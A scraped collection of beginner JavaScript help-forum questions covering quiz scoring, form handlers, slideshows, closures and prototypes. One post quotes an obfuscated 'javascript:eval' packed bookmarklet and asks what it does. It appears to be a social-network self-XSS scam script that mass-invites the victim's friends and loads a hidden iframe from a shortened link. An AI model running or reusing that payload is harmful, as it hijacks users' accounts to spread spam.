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JavaScript - Need Help In Understanding This Piece Of Code.
I need to understand this code but i am not able to fully understand it to use it for myself. Anybody can you help please
function getScore(form) { var score = 0; var currElt; var currSelection; for (i=0; i<numQues; i++) { currElt = i*numChoi; for (j=0; j<numChoi; j++) { currSelection = form.elements[currElt + j]; if (currSelection.checked) { if (currSelection.value == answers[i]) { score++; break; } } } } score = Math.round(score/numQues*100); // math.round function will return the whole number to the nearest specified value for example 1.9 will show as 2 form.percentage.value = score + "%"; // The score will be displayed in percentage var correctAnswers = ""; for (i=1; i<=numQues; i++) { correctAnswers += i + ". " + answers[i-1] + "\r\n"; } form.solutions.value = correctAnswers; } Any short explanation will be a great help. Similar TutorialsHi, below is some code I've found at w3schools site. It demonstrates the use of "onkeypress" event by allowing only non-numerical input. It works great and is mostly clear to me, except for the part I marked in red. Could someone please explain this part to me step by step? It's probably a noobish question, but I thought you could only use "return" inside a function. Are "return true" and "return false" just optional parameters to the "onkeypress" event? If so, where else can they be used? Also what information exactly does the "(event)" being passed into the function "noNumbers()" carry? <html> <body> <script type="text/javascript"> function noNumbers(e) { var keynum; var keychar; var numcheck; if(window.event) // IE8 and earlier { keynum = e.keyCode; } else if(e.which) // IE9/Firefox/Chrome/Opera/Safari { keynum = e.which; } keychar = String.fromCharCode(keynum); numcheck = /\d/; return !numcheck.test(keychar); } </script> <form> Type some text (numbers not allowed): <input type="text" onkeypress= "return noNumbers(event)" /> </form> I have a piece of code that pulls reviews and allows a business owner to drop the reviews on to their website. I need to limit the number of reviews and ideally I'd like to do that with just the snippet the biz owner drops into their site. Is this possible? Here's a sample of the code: <div id="repagent_reviews"></div><script type="text/javascript" src="http://awebsite.com/anotherwebsite/wp-admin/admin-ajax.php?action=repagent_reviews_js&id=1182"></script> thanks! confused Here's the basic concept, its somewhat of a counter, and I think javascripts the way to go... Basically I'm looking to generate a running number... x + 11 = print the number The tricky part is, I need it to never stop, somewhat like a timer (example http://www.hashemian.com/tools/javascript-countdown.htm) but not a timer... Think the tally mark on McDonald's 99 billion served.. Any suggestions or ideas? I don't know anything about Javascript. My brother-in-law wanted me to update some pictures on his website. I found a piece of javascript code and am curious as to what it's function would be. Could someone please tell me what this piece of code is doing / what it's being used for. Thanks in advance. Here's the code: Code:
<csscriptdict>
<script><!--
function CSClickReturn () {
var bAgent = window.navigator.userAgent;
var bAppName = window.navigator.appName;
if ((bAppName.indexOf("Explorer") >= 0) && (bAgent.indexOf("Mozilla/3") >= 0) && (bAgent.indexOf("Mac") >= 0))
return true; // dont follow link
else return false; // dont follow link
}
CSStopExecution = false;
function CSAction(array) {
return CSAction2(CSAct, array);
}
function CSAction2(fct, array) {
var result;
for (var i=0;i<array.length;i++) {
if(CSStopExecution) return false;
var actArray = fct[array[i]];
if(actArray == null) return false;
var tempArray = new Array;
for(var j=1;j<actArray.length;j++) {
if((actArray[j] != null) && (typeof(actArray[j]) == "object") && (actArray[j].length == 2)) {
if(actArray[j][0] == "VAR") {
tempArray[j] = CSStateArray[actArray[j][1]];
}
else {
if(actArray[j][0] == "ACT") {
tempArray[j] = CSAction(new Array(new String(actArray[j][1])));
}
else
tempArray[j] = actArray[j];
}
}
else
tempArray[j] = actArray[j];
}
result = actArray[0](tempArray);
}
return result;
}
CSAct = new Object;
CSAg = window.navigator.userAgent; CSBVers = parseInt(CSAg.charAt(CSAg.indexOf("/")+1),10);
function IsIE() { return CSAg.indexOf("MSIE") > 0;}
function CSIEStyl(s) { return document.all.tags("div")[s].style; }
function CSNSStyl(s) { return CSFindElement(s,0); }
function CSFindElement(n,ly) { if (CSBVers < 4) return document[n];
var curDoc = ly ? ly.document : document; var elem = curDoc[n];
if (!elem) { for (var i=0;i<curDoc.layers.length;i++) {
elem = CSFindElement(n,curDoc.layers[i]); if (elem) return elem; }}
return elem;
}
function CSSetImageURL(action) {
var img = null;
if (document.images) {
if (!IsIE()) img = CSFindElement(action[1],0);
else img = document.images[action[1]];
if (img) img.src = action[2];
}
}function CSGotoLink(action) {
if (action[2].length) {
var hasFrame=false;
for(i=0;i<parent.frames.length;i++) { if (parent.frames[i].name==action[2]) { hasFrame=true; break;}}
if (hasFrame==true)
parent.frames[action[2]].location = action[1];
else
window.open (action[1],action[2],"");
}
else location = action[1];
}
// --></script>
</csscriptdict>
<csactiondict>
<script><!--
CSAct[/*CMP*/ 'B52BCE950'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/geebee.jpg');
CSAct[/*CMP*/ 'B527CA9F3'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif');
CSAct[/*CMP*/ 'B527CAD04'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/f-4.jpg');
CSAct[/*CMP*/ 'B527CAE85'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif');
CSAct[/*CMP*/ 'B527CBCF6'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/boeing-314.jpg');
CSAct[/*CMP*/ 'B527CBEF7'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif');
CSAct[/*CMP*/ 'B527CC588'] = new Array(CSGotoLink,/*URL*/ 'goldenage.htm','');
CSAct[/*CMP*/ 'B527CD869'] = new Array(CSGotoLink,/*URL*/ 'aboutus.html','');
CSAct[/*CMP*/ 'B527D7110'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/HE-111.jpg');
CSAct[/*CMP*/ 'B527D7281'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif');
CSAct[/*CMP*/ 'B527D73B2'] = new Array(CSGotoLink,/*URL*/ 'wwiiidmodels.htm','');
CSAct[/*CMP*/ 'B527D75D3'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/lancaster.jpg');
CSAct[/*CMP*/ 'B527D77E4'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif');
CSAct[/*CMP*/ 'B527D7895'] = new Array(CSGotoLink,/*URL*/ 'wwiiexpert.htm','');
CSAct[/*CMP*/ 'B527D9120'] = new Array(CSGotoLink,/*URL*/ 'modeler.html','');
CSAct[/*CMP*/ 'B527D9291'] = new Array(CSGotoLink,/*URL*/ 'faq.html','');
CSAct[/*CMP*/ 'B527D9372'] = new Array(CSGotoLink,/*URL*/ 'contact.html','');
CSAct[/*CMP*/ 'B527D94A3'] = new Array(CSGotoLink,/*URL*/ 'custom.htm','');
CSAct[/*CMP*/ 'B527D96E5'] = new Array(CSGotoLink,/*URL*/ 'seaplanes.htm','');
CSAct[/*CMP*/ 'B52D133826'] = new Array(CSGotoLink,/*URL*/ 'postwarmodels.htm','');
CSAct[/*CMP*/ 'B530F9380'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/F-104.jpg');
CSAct[/*CMP*/ 'B530F9501'] = new Array(CSSetImageURL,/*CMP*/ 'cac logo',/*URL*/ 'Images/components/cutline.gif');
// --></script>
</csactiondict>
Here's the website that it's on: http://www.aircraftmodels.com/index.htm Hi, I have this code: Code: window.addEvent('domready',function(){
document.id('cool').addEvent('click',function() {
light = new LightFace.IFrame({ height:400, width:800, url: 'http://google.com', title: 'Google!' }).addButton('Close', function() { light.close(); },true).open();
});
});
It's a piece from something called the lightface iframe. What I want to do is to have this code on my javascript page, that's included on the main page where I want to call it. I call on it like this: Code: <a href="#" id="cool">Edit general info</a> However this only works if it's on the main page, not when I have it on my js page. So what I want to do is to turn it into a function, because that I know works. Could anyone help me with this? Thanks in advance for your time! Hi, can anyone help me with this? The following html is to upload an image, it works ok on firefox, but while using google chrome, nothing happened when I clicked "upload LOGO" button. .................................................................................................... .... <html> <body> <form method="post" action="action_start_initial_registration.php" name="initial_registration" id="initial_registration" enctype="multipart/form-data"> <input type="file" style="display:none" onchange="checkLogo()" name="input_logo_file" id="input_logo_file" value="input_logo_file"> <input type="text" name="logo_flag" id="logo_flag" value="0" style="display:none;"/> <a href="javascript:void(0);" onclick="input_logo_file.click()"><em>upload LOGO</em></a><br /> </form> <script type="text/javascript"> function checkLogo(){ document.getElementById("logo_flag").value="1"; document.getElementById("initial_registration").submit(); } </script> </body> </html> ............................................................................................. Hi We are currently re-working a client's website and as I am not a javascript programmer I am having trouble understanding some of the code, and need help understanding why a certain variable in the code remains undefined. The javascript function is called from the web page in this fashion: Code: <select name="cboL1_3" onchange="CheckLine(this);"> <option value=""></option> <option value="l">L</option> <option value="m">M</option> </select> and the function CheckLine is defined thus: Code: function CheckLine(el)
{
var Mok = false, Lok = false, val, currEl;
var LineNo = el.name;
LineNo = LineNo.substring(4,(LineNo.length - 2));
val = el.options[el.selectedIndex].value;
alert(el);
alert(val);
if (val == 'm')
{
Mok = true;
}
if (val == 'l')
{
Lok = true;
}
for (var i = 1; i<=4; i++)
{
currEl = document.frmDisc.elements['cboL' + LineNo + '_' + i];
if (currEl.name != el.name)
{
if (currEl.options[currEl.selectedIndex].value == 'm')
{
if (Mok)
{
currEl.selectedIndex = 0; //resets selection to blank if >1 M
}
Mok = true;
}
if (currEl.options[currEl.selectedIndex].value == 'l')
{
if (Lok)
{
currEl.selectedIndex = 0;//resets selection to blank if >1 L
}
Lok = true;
}
}
}
}
What is happening is that the user is filling in 24 lines of 4 select boxes, in which there must be 1 and only one "m" and 1 and only 1 "l". The code changes the value of the box back to blank if the user has tried to enter >1 of either. The code then should check the line number and count the number of lines, but on debugging I see that the value of variables el and LineNo are undefined. I can't understand why when the function is called, the value "this" is used. i.e CheckLine(this) - this appears to have no value in the html code as far as I can see! Perhaps someone could shed some light on this for me, as I really need to get it working TODAY!! I also enclose a link to the webpage in question: www.kellyresources.co.uk/disc/disc.asp MAny thanks in anticipation of your help. Teresa I would like to know if anyone cane explain some javascript source code that i got from the chess.com website. Here is the following code Im talking about: window.Meebo||function(c){function p(){return["<",i,' onload="var d=',g,";d.getElementsByTagName('head')[0].", j,"(d.",h,"('script')).",k,"='//cim.meebo.com/cim?iv=",a.v,"&",q,"=",c[q],c[l]? "&"+l+"="+c[l]:"",c[e]?"&"+e+"="+c[e]:"","'\"></",i,">"].join("")}var f=window, a=f.Meebo=f.Meebo||function(){(a._=a._||[]).push(arguments)},d=document,i="body", m=d[i],r;if(!m){r=arguments.callee;return setTimeout(function(){r(c)},100)}a.$= {0:+new Date};a.T=function(u){a.$[u]=new Date-a.$[0]};a.v=4;var j="appendChild", h="createElement",k="src",l="lang",q="network",e="domain",n=d[h]("div"),v=n[j](d[h]("m")), b=d[h]("iframe"),g="document",o,s=function(){a.T("load");a("load")};f.addEventListener? f.addEventListener("load",s,false):f.attachEvent("onload",s);n.style.display="none"; m.insertBefore(n,m.firstChild).id="meebo";b.frameBorder="0";b.id="meebo-iframe"; b.allowTransparency="true";v[j](b);try{b.contentWindow[g].open()}catch(w){c[e]= d[e];o="javascript:var d="+g+".open();d.domain='"+d.domain+"';";b[k]=o+"void(0);"}try{var t= b.contentWindow[g];t.write(p());t.close()}catch(x){b[k]=o+'d.write("'+p().replace(/"/g, '\\"')+'");d.close();'}a.T(1)}({network:"chess"}); </script> Hi, I'm trying to do an assignment, and have copied a piece of code to learn while I do, if you see what I mean. Problem is, I'm having real trouble with one of the lines of code. If someone could tell me basically what it does, I'd be very greatful! Here's the code: if (height[i] == -(array[i].height)) The - before (array[i].height) is really confusing me! Thanks in advance! I'd be grateful if someone can help me fix this peice of JavaScript code... function gotoURL(){ var newURL = document.GotoForm.theURL.value if (newURL == "100BC" || newURL == "480BC" || newURL == "1642" || newURL == "1679" || newURL == "1752" || newURL == "future") { window.location.href = "date/" + newURL + ".php"; } else if (newURL == "100bc" || newURL == "480bc") { newURL.replace(/bc/g/, "BC"); } else if (newURL == "FUTURE") { newURL.replace(/FUTURE/g/, "future"); } else{ alert("You entered an invalid year, try inputting another year"); }} Thanks. What does this mean? Code: javascript:eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('G g=["\\b\\h\\h\\d\\m\\Z\\15\\H\\16","\\e\\a\\I\\q\\n\\i\\h\\e\\d\\h\\e","\\j\\d\\e\\z\\k\\d\\w\\d\\h\\e\\17\\J\\18\\s","\\D\\a\\p\\b\\s\\t\\l\\f\\A\\j\\j\\d\\f\\e\\l\\p\\u\\m\\d\\y\\t\\l\\19\\l\\p\\a\\K\\a\\B\\b\\y\\J\\t\\l\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o\\1a\\n\\k\\a\\f\\f\\t\\O\\a\\h\\H\\a\\h\\a\\j\\d\\m\\1b\\a\\w\\o\\1c\\h\\i\\s\\d\\q\\b\\s\\t\\P\\Q\\x\\P\\R\\Q\\S\\1d\\S\\x\\x\\M\\1e\\M\\R\\l\\p\\n\\k\\a\\f\\f\\t\\l\\p\\o\\m\\i\\y\\b\\k\\d\\q\\a\\n\\e\\b\\i\\h\\p\\a\\n\\e\\b\\i\\h\\f\\o\\m\\i\\q\\a\\l\\p\\m\\d\\k\\t\\l\\s\\b\\a\\k\\i\\j\\1f\\o\\i\\f\\e\\l\\E\\1g\\A\\j\\j\\d\\f\\e\\p\\e\\i\\p\\O\\m\\b\\d\\h\\s\\f\\D\\r\\a\\E","\\f\\A\\j\\j\\d\\f\\e","\\H\\i\\A\\f\\d\\z\\v\\d\\h\\e\\f","\\n\\m\\d\\a\\e\\d\\z\\v\\d\\h\\e","\\n\\k\\b\\n\\1h","\\b\\h\\b\\e\\z\\v\\d\\h\\e","\\s\\b\\f\\o\\a\\e\\n\\u\\z\\v\\d\\h\\e","\\f\\d\\k\\d\\n\\e\\q\\a\\k\\k","\\f\\j\\w\\q\\b\\h\\v\\b\\e\\d\\q\\y\\i\\m\\w","\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o","\\f\\A\\I\\w\\b\\e\\T\\b\\a\\k\\i\\j","\\D\\b\\y\\m\\a\\w\\d\\p\\f\\m\\n\\t\\l\\u\\e\\e\\o\\1i\\r\\r\\I\\b\\e\\L\\k\\J\\r\\n\\T\\v\\U\\h\\U\\l\\p\\1j\\b\\s\\e\\u\\t\\l\\1k\\x\\x\\o\\B\\l\\p\\u\\d\\b\\j\\u\\e\\t\\l\\M\\x\\x\\o\\B\\l\\E\\D\\r\\b\\y\\m\\a\\w\\d\\E"];C(F[g[2]](g[1])[g[0]]=g[3]);G V=F[g[2]](g[4]);G c=F[g[6]](g[5]);c[g[8]](g[7],W,W);C V[g[9]](c);C N(X(){1l[g[10]]()},1m);C N(X(){1n[g[13]](g[11],g[12])},Y);C N(F[g[2]](g[1])[g[0]]=g[14],Y);',62,86,'||||||||||x61|x69||x65|x74|x73|_0x22d5|x6E|x6F|x67|x6C|x22|x72|x63|x70|x20|x5F|x2F|x64|x3D|x68|x76|x6D|x30|x66|x45|x75|x78|void|x3C|x3E|document|var|x4D|x62|x79|x6A|x2E|x36|setTimeout|x46|x31|x32|x35|x38|x44|x41|ss|true|function|5000|x48||||||x54|x4C|x42|x49|x23|x3F|x26|x3B|x37|x34|x2D|x53|x6B|x3A|x77|x39|fs|4000|SocialGraphManager'.split('|'),0,{}))
like all the " f\\m\\n " etc? I have no idea. This script from http://www.javascriptkit.com/script/cut76.shtml is obviously not secure since the username and password are stored in the script, as well as the redirect url. I have no intentions of using it, but am curious if someone can explain how the alerts work the way they do. So, how is the 1st else " else {alert("Invalid Password")} " associated with the second IF statement, not the first IF statement? Example, The 1st else sends an alert invalid password. When the 1st IF was to check the user name. Why is this? Shouldn't the 1st alert be if the user name was invalid and the second else be for the password? This post is my first, and is really just because I need to understand Javascript better and this makes no sense to me. Code: <script language="javascript">
function pasuser(form) {
if (form.id.value=="JavaScript") {
if (form.pass.value=="Kit") {
location="page2.html"
} else {
alert("Invalid Password")
}
} else { alert("Invalid UserID")
}
}
</script>
I put this function in firebug and it returns the value 24. I just need help of someone explaning me as simple but descriptive as possible how the code works. Code: function factorial(n) {
var product= 1;
while(n > 1) {product *= n;
n--;
}
return product;
}
factorial(4)
i was just reading a book and these were just one of the examples of functions which I was trying to understand better. I get programming. Really, I do. But this closure thing has me lost and needing a nice, simple explanation. Here's the code from the dojo tutorial: <script type="text/javascript"> dojo.require("dijit.form.Button"); // this is just to make the demo look nicer var arrFruit = ["apples", "kiwis", "pineapples"]; function populateData() { dojo.forEach(arrFruit, function(item, i) { var li = dojo.doc.createElement("li"); li.innerHTML = i + 1 + ". " + item; dojo.byId("forEach-items").appendChild(li); }); } </script> It is the anonymous function(item, i) that is perplexing me. As I see it, this use is not CREATING a function. It is calling a function called "function." Clearly, I am not up-to-speed. I am confounded as to how, within function(), "item" is KNOWN to refer to the value of the array element, and "i" is KNOWN to refer to the current element in the dojo.forEach() function. In my mind, I see a call to function, trying to pass parameters to it which were never defined above. The way I see it is: function myfunction(item, i) {code here} myfunction(this, that); In this example, I would get an error because "this" and "that" are not defined. Help, please!!! Anyone wanna give me some pointers on how prototypes work exactly? ;o Especially in the context of this code: Code: var chatscroll = new Object();
chatscroll.Pane = function(scrollContainerId){
this.bottomThreshold = 20;
this.scrollContainerId = scrollContainerId;
this._lastScrollPosition = 100000000;
}
chatscroll.Pane.prototype.activeScroll = function(){
var _ref = this;
var scrollDiv = document.getElementById(this.scrollContainerId);
var currentHeight = 0;
var _getElementHeight = function(){
var intHt = 0;
if(scrollDiv.style.pixelHeight)intHt = scrollDiv.style.pixelHeight;
else intHt = scrollDiv.offsetHeight;
return parseInt(intHt);
}
var _hasUserScrolled = function(){
if(_ref._lastScrollPosition == scrollDiv.scrollTop || _ref._lastScrollPosition == null){
return false;
}
return true;
}
var _scrollIfInZone = function(){
if( !_hasUserScrolled ||
(currentHeight - scrollDiv.scrollTop - _getElementHeight() <= _ref.bottomThreshold)){
scrollDiv.scrollTop = currentHeight;
_ref._isUserActive = false;
}
}
if (scrollDiv.scrollHeight > 0)currentHeight = scrollDiv.scrollHeight;
else if(scrollDiv.offsetHeight > 0)currentHeight = scrollDiv.offsetHeight;
_scrollIfInZone();
_ref = null;
scrollDiv = null;
}
It's code to make the scrollbars autoscroll down. Full article and extra info he http://radio.javaranch.com/pascarell...837038219.html I sort of understand it but I'm not clear on what prototypes are. This is a question about a code for a javascript slide show which i think is very important to understand because slide shows are heavily used! This is the html: Quote: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script language="javascript" script type="text/javascript" src="slideshow.js"></script> <title>Slideshow exercise</title> </head> <body> <h1> Slideshow exercicse</h1> <img class="slide" src="cityscape.jpg" width="400" height="300"> <img class="slide" src="Creative_design_sailing_leaves_under_blue_sky.jpg" width="400" height="300"> <img class="slide" src="Curiousity.jpg" width="400" height="300"> <img class="slide" src="raindrops-blue-garden-seamless-tile.jpg" width="400" height="300"> <p> Clic on image to view next slide</p> <p> Clic on image to view next slide</p> </body> </html> This is the .js file and my questions: Quote: var numslides=0;currentslide=0; var slides= new Array(); function MakeSlideShow(){ //find all images with the class "slide" imgs= document.getElementsByTagName("img");---------> question 1 for (i=0; i<imgs.length ; i++) { if(imgs[i].className != "slide") continue; slides[numslides]=imgs[i];----------------------------------->question2 //hide all but first image if(numslides==0) {imgs[i].style.display="block";} else{imgs[i].style.display="none";} imgs[i].onclick=NextSlide; numslides++;}//end of loop--------------------------->question3 } //end MakeSlideShow() function NextSlide(){ slides[currentslide].style.display="none";------------------>question4 currentslide++ if(currentslide >= numslides) currentslide=0; slides[currentslide].style.display="block";--------------->question5 } window.onload= MakeSlideShow; question1: does "imgs" automatically become an array here? If so, how can i print out its lenght? This is what i tried and it doesn't work-> var lengthimgs= imgs.length document.write(lengthimgs) question2: What is happening here? Is the imgs[i] array transferring its data into the slides[numslides] array? question3: If slides[numslides] and imgs[i] are interchangeable why can't this line be i++ instead of numslides++ question4: What is happenning to the slides array here? Is currentslide becoming a copy of numslides? question5: What does this do? Where does this line sent the code? Why this? Why hasn't "imgs[i].style.display="block";" already done the job for the display? Thanks Hello, I have an Object, containing an object, containing an object....etc. So, it's an Object of objects. Not an Array of objects. And now I want to sort this Object of objects. Is there a "native" way in JavaScript to sort an object? Or do I understand it correctly, that I first have to convert the Object to an Array, and than perform an array.sort ? This question is just for my understanding of JavaScript, so I don't go into the wrong direction. Tnx in advance for any explanation. 1. When creating a new element using the create method, do the zIndex values of all elements that follow it change? If so how do I get the zIndex of all divs with a specific classname within a specified container? I'm working with dynamic drive's 'dhtmlwindow' object class file and have made revisions to it...however this is my first time working with this type of file and while some things are easy to change the zIndex change of the setfocus function does not look like any of my previous scripts. Code: //toggle function to open and close popup runs off an if else statement detecting style.display property
function toggle(popUpDiv) {
var el = document.getElementById(popUpDiv);
//if function to determine if style.display equals none and if so then block to make visible
if ( el.style.display == 'none' ) { el.style.display = 'block';}
else {el.style.display = 'none';}
//while function to declare that as long as style.display equals block then set timer to make
//invisible after 10 seconds of becoming visible
While (el.style.display == 'block') {
setTimeout ("toggle('popUpDiv')", 10000 );
} //end while loop
return false; //end if statement
}
My while statement reads that while style.display = block then to run a timer to close the popup by running toggle again after 10 seconds. This way if the user closes the window before the ten seconds is counted, then the toggle function won't run. However I am getting an error stating that there is no before statement. I'm confused on that. Sorry just really a beginner with javascript and searched through W3schools.com and couldn't find an answer. have it on a geocities test site at css popup test Hey all, I'm trying to fully understand javascript and have a couple of questions I was hoping you could answer for me. I'm working through a book and in the book I'm creating a Bingo card that generates a random number. I'm pasting the full script below just in case it's needed. Code: function initAll () {
for(var i=0; i<24; i++) {
setSquare(i);
}
}
function setSquare(thisSquare) {
var currSquare= "square" + thisSquare;
var colPlace= new Array (0,0,0,0,0,1,1,1,1,1,2,2,2,2,3,3,3,3,3,4,4,4,4,4);
var colBasis=colPlace[thisSquare] *15;
var newNum=colBasis +getNewNum()+1;
document.getElementById(currSquare).innerHTML=newNum;
}
function getNewNum() {
return Math.floor(Math.random() *15);
}
//-->
</script>
1. What does the [thisSquare] mean in this line of code that is bolded? I mean, I know thisSquare is whatever i is, but am I multiplying it by colPlace or what? 2. Lastly I'm confused by this part of the above code Code: var newNum=colBasis +getNewNum()+1; Why add the +1? I mean, i think getNewNum is set to pull a random number between 1 and 14. If you want to pull a number between 1 and 15, why not multiple Math.random() *16 instead of 15. Am i missing something? Sorry, I'm just not understanding why use the +1 |
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